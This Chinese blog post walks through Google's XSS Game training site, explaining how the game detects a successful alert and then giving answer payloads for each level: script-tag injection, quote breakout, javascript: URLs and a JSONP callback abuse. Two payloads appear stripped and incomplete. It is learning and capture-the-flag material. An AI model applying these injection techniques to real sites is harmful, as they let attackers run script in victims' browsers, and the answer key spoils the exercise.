879
技術社區[雲棲]
有意思的遊戲:Google XSS Game
Google最近出了一個XSS的遊戲:
我這個菜鳥看提示,花了兩三個小時才全過了。。
這個遊戲的規則是隻要在攻擊網頁上彈出alert窗口就可以了。
題目頁麵是在iframe裏嵌套的展現的,那麼父窗口是如何知道iframe裏成功彈出了窗口?
是這樣子實現的:
題目頁麵加載了這個js,改寫了alert函數,當alert被調用時,向parent發送一個消息。
https://xss-game.appspot.com/static/game-frame.js
/* If we're being iframed, let the parent know our URL */
/* Kids: don't do this at home! */
parent.postMessage(window.location.toString(), "*");
/* Override window.alert */
var originalAlert = window.alert;
window.alert = function(s) {
parent.postMessage("success", "*");
setTimeout(function() {
originalAlert("Congratulations, you executed an alert:\n\n"
+ s + "\n\nYou can now advance to the next level.");
}, 50);
}
然後父窗口注冊了一個EventListener來接收這個消息:
https://xss-game.appspot.com/static/game.js
window.addEventListener("message", function(event) {
if (!window.location.origin) {
window.location.origin = window.location.protocol + "//"
+ window.location.hostname
+ (window.location.port ? ':' + window.location.port: '');
}
if (event.origin == window.location.origin && event.data == "success") {
userOpenedAlert = true;
levelSolved();
return;
}
最下麵是題目的答案。如果想自己玩遊戲的,慎拉下。
題目的答案:
Level1:
<script>alert(1)</script>
Level2:
<input >
Level3:
https://xss-game.appspot.com/level3/frame#3.jpg' >
Level4:
3');alert('1
Level5:
https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)
Level6:
重點是前麵要有一個空格。
https://www.google.com/jsapi?callback=alert
遊戲過關之後,google給出了一個xss的文檔:
https://www.google.com/about/appsecurity/learning/xss/index.html
最後更新:2017-04-03 08:26:19